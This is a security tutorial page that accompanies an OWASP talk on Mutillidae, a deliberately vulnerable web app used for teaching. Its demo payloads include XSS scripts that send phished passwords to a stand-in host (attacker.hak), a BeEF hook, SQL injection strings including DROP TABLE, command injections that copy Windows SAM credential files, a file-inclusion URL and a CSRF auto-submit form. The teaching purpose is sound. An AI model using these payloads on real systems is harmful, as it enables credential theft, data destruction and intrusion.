Web Hosting:
Help Irongeek.com pay for bandwidth and research equipment:
OWASP Top 5 and Mutillidae: Intro to common web vulnerabilities like
Cross Site Scripting (XSS), SQL/Command Injection Flaws, Malicious File
Execution/RFI, Insecure Direct Object Reference and Cross Site Request Forgery
(CSRF/XSRF) (Hacking Illustrated Series InfoSec Tutorial Videos)
OWASP Top 5 and Mutillidae: Intro to common web vulnerabilities
like Cross Site Scripting (XSS), SQL/Command Injection Flaws, Malicious File
Execution/RFI, Insecure Direct Object Reference and Cross Site Request Forgery (CSRF/XSRF)
This is a recording of the presentation I gave to the
Louisville Chapter of OWASP about the Mutillidae project. A while back I wanted to
start covering more web application pen-testing tools and concepts in some of my
videos and live classes. Of course, I needed vulnerable web apps to illustrate
common web security problems. I like the WebGoat project, but sometimes it's a
little hard to figure out exactly what they want you to do to exploit a given
web application, and it's written in J2EE (not a layman friendly language). In
an attempt to have something simple to use as a demo in my videos and in class,
I started the Mutillidae project. This is a video covering the first 5 of the
OWASP Top 10.
Password Con XSS:
<script>username=prompt('Please enter your username',' ');password=prompt('Please enter your password',' ');document.write("<img src=\"http://attacker.hak/catch.php?username="+username+"&password="+password+"\">");</script>
More complicated, but better looking XSS password form:
<divstyle="position: absolute; width: 30%; z-index: 2; left: 35%; top: 40%; float:left; background-color:#C0C0C0"id="loginlayer"><formmethod="POST"name="logonf"><b>You must login to continue</b><divalign="center"><tableborder="0"cellspacing="0"cellpadding="0"><tr><td>User:</td><td><inputname="userf"size="20"></td></tr><tr><td>Password:</td><td><inputtype="password"name="passwordf"size="20"></td></tr></table></div><palign="center"><inputtype="button"value="Submit"onClick="submitandhide()"></p></form><script>functionsubmitandhide(){document.getElementById("loginlayer").style.display="none";temprs="user="+document.logonf.userf.value+"&password="+document.logonf.passwordf.value;variframe=document.createElement('IFRAME');iframe.src=("http://attacker.hak/catch.php?"+temprs);document.body.appendChild(iframe);//help from http://www.gnucitizen.org/blog/javascript-remoting-dangers/}</script></div>
Clippy XSS:
<divstyle="position:fixed; right:60px; bottom:10px; overflow:visible;"id="clippy"><tablevalign="top"width="130"height="309"border="0"background="http://www.irongeek.com/images/clippy.png"cellpadding="10"><tr><tdvalign="top">Hello, it looks like you have an XSS vulnerability, would you like <ahref="http://www.owasp.org/index.php/Cross_site_scripting">some help fixing that?</a></td></tr></table></div>
Hot BeEF Injection:
<scriptlanguage='Javascript'src='http://localhost/beef/hook/beefmagic.js.php'></script>
User Agent Example:
<useragentswitcher><useragent description="XSS Test" useragent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0 <script>window.location = "http://www.irongeek.com/"</script>)" appname="MicrosoftInternetExplorer" appversion="4.0 (compatible; MSIE 7.0; Windows NT 6.0)"platform="Win32"vendor=""vendorsub=""/></useragentswitcher>
SQL Injection Strings: '
'; DROP TABLE owasp10; --
' or 1=1 --
' + password --
Command Injection Strings:
&& dir
&& wmic process list
&& wmic useraccount list
&& copy c:\WINDOWS\repair\sam
&& copy c:\WINDOWS\repair\system.bak
&& copy C:\Windows\System32\config\RegBack\sam.old
&& copy C:\Windows\System32\config\RegBack\SYSTEM.OLD
File includes:
at source viewer:
http://target.hak/index.php?page=source-viewer.php&php_file_name=config.inc
Post method:
<html><body><formname="csrfform"method="post"action="http://target.hak/index.php?page=add-to-your-blog.php"><inputtype='hidden'name='input_from_form'value="Test of of auto submitted form."></form><script>document.csrfform.submit()</script></body></html>